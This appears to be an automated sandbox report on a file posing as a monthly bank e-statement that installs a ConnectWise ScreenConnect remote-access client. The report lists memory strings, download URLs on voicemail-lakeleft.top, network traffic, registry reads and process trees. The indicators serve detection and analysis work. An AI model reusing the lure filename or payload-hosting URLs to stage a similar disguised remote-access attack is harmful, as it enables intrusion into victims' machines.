Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf-
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
Source: svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000007.00000003.2075737545.0000021CA2727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfMM
Source: svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
Source: qmgr.db.6.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
Source: svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA272C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D916000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DB2A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DDBC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DE0A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DA82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1DA82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.C
Source: dfsvc.exe, 00000002.00000002.2979497354.0000025D35E86000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2982317556.0000025D39540000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2981642219.0000025D37CFE000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1D9AB000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2972728761.0000025D1BCD3000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2983207645.0000025D39609000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2447762978.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2447762978.0000000002EAF000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2450825979.000000001B8AA000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2446849268.000000000116F000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2451144546.000000001B8F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D9AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#Scree
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D9AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#ScreeP
Source: dfsvc.exe, 00000002.00000002.2983530978.0000025D396A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#ScreenConnect.WindowVF
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.2447543283.00000000014B4000.00000004.00000020.00020000.00000000.sdmp, S5L60WDT.log.2.dr	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient.appl
Source: dfsvc.exe, 00000002.00000002.2983530978.0000025D396A1000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2447348607.00000000011D0000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2450614110.000000001B870000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application%
Source: S5L60WDT.log.2.dr	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=popwee2.zapt
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.2446849268.000000000116F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationO$
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.2447762978.0000000002EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationX
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.2450825979.000000001B8AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationY;
Source: dfsvc.exe, 00000002.00000002.2983207645.0000025D39609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationYDataer
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.2450913714.000000001B8BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationg=
Source: dfsvc.exe, 00000002.00000002.2983207645.0000025D39609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationre=msil
Source: dfsvc.exe, 00000002.00000002.2983207645.0000025D39609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applications_
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.2450825979.000000001B8AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applications_4c015cY
Source: dfsvc.exe, 00000002.00000002.2983207645.0000025D39609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applications_ecture=msil;
Source: dfsvc.exe, 00000002.00000002.2983207645.0000025D39609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationt
Source: dfsvc.exe, 00000002.00000002.2982317556.0000025D3955E000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DDBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.dll
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.2447762978.0000000002EAF000.00000004.00000800.00020000.00000000.sdmp, S5L60WDT.log.2.dr	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.manifest
Source: dfsvc.exe, 00000002.00000002.2981524853.0000025D37CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.manifest$
Source: dfsvc.exe, 00000002.00000002.2982317556.0000025D3955E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.manifest:
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1DDBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientSer
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1DDBC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DE0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.dll
Source: dfsvc.exe, 00000002.00000002.2981524853.0000025D37CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.dll6
Source: dfsvc.exe, 00000002.00000002.2981524853.0000025D37CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.dll~
Source: dfsvc.exe, 00000002.00000002.2982317556.0000025D3955E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.exe
Source: dfsvc.exe, 00000002.00000002.2982317556.0000025D3955E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.exeG
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1DA82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Core.dll
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1DE0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Windo
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1DE0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Windows.dll
Source: dfsvc.exe, 00000002.00000002.2981642219.0000025D37CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exe
Source: dfsvc.exe, 00000002.00000002.2981594079.0000025D37CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config
Source: dfsvc.exe, 00000002.00000002.2981642219.0000025D37CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exed
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1DA82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exe
Source: dfsvc.exe, 00000002.00000002.2981642219.0000025D37CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exe.config
Source: dfsvc.exe, 00000002.00000002.2981642219.0000025D37CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exe.config:
Source: dfsvc.exe, 00000002.00000002.2981642219.0000025D37CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsFileManager.exe
Source: dfsvc.exe, 00000002.00000002.2981594079.0000025D37CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsFileManager.exe.config

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.5:49736 version: TLS 1.2

E-Banking Fraud

Drops certificate files (DER)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C56C4404C4DEF0DC88E5FCD9F09CB2F1	Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect

Reads the System eventlog

Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect

System Summary

Detected potential unwanted application

Source: monthly-eStatementForum120478962.Client.exe

PE Siganture Subject Chain: CN="Connectwise, LLC", O="Connectwise, LLC", L=Tampa, S=Florida, C=US

Creates files inside the system directory

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Detected potential crypto function

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Code function: 0_2_009AA495	0_2_009AA495
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F59D7D	2_2_00007FF848F59D7D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F4AF4F	2_2_00007FF848F4AF4F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F6B21D	2_2_00007FF848F6B21D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F533B1	2_2_00007FF848F533B1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F5D599	2_2_00007FF848F5D599
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F52758	2_2_00007FF848F52758
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F46010	2_2_00007FF848F46010
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F630F1	2_2_00007FF848F630F1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F41211	2_2_00007FF848F41211
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F4F441	2_2_00007FF848F4F441
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 2_2_00007FF848F62838	2_2_00007FF848F62838
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 12_2_00007FF848F170BA	12_2_00007FF848F170BA
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 12_2_00007FF848F110CF	12_2_00007FF848F110CF
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 12_2_00007FF848F110D7	12_2_00007FF848F110D7
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 12_2_00007FF849226A08	12_2_00007FF849226A08
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 12_2_00007FF849225951	12_2_00007FF849225951
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 12_2_00007FF8492201D0	12_2_00007FF8492201D0
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 12_2_00007FF849226A6B	12_2_00007FF849226A6B

One or more processes crash

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2260 -ip 2260

Uses 32bit PE files

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ScreenConnect.WindowsBackstageShell.exe.2.dr, PopoutPanelTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.2.dr, ProgramTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.2.dr, TaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe0.2.dr, PopoutPanelTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe0.2.dr, ProgramTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe0.2.dr, TaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'

Source: ScreenConnect.Windows.dll.2.dr, WindowsExtensions.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: ScreenConnect.Windows.dll.2.dr, WindowsExtensions.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: ScreenConnect.Windows.dll.2.dr, WindowsExtensions.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: ScreenConnect.ClientService.dll.2.dr, WindowsLocalUserExtensions.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)

Source: classification engine

Classification label: mal51.evad.winEXE@18/76@2/2

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

0_2_009A1000

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

File created: C:\Users\user\AppData\Local\Deployment

Jump to behavior

Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2260
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

File created: C:\Users\user\AppData\Local\Temp\Deployment

Jump to behavior

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Command line argument: dfshim

0_2_009A1000

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe "C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe"
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2260 -ip 2260
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 700
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
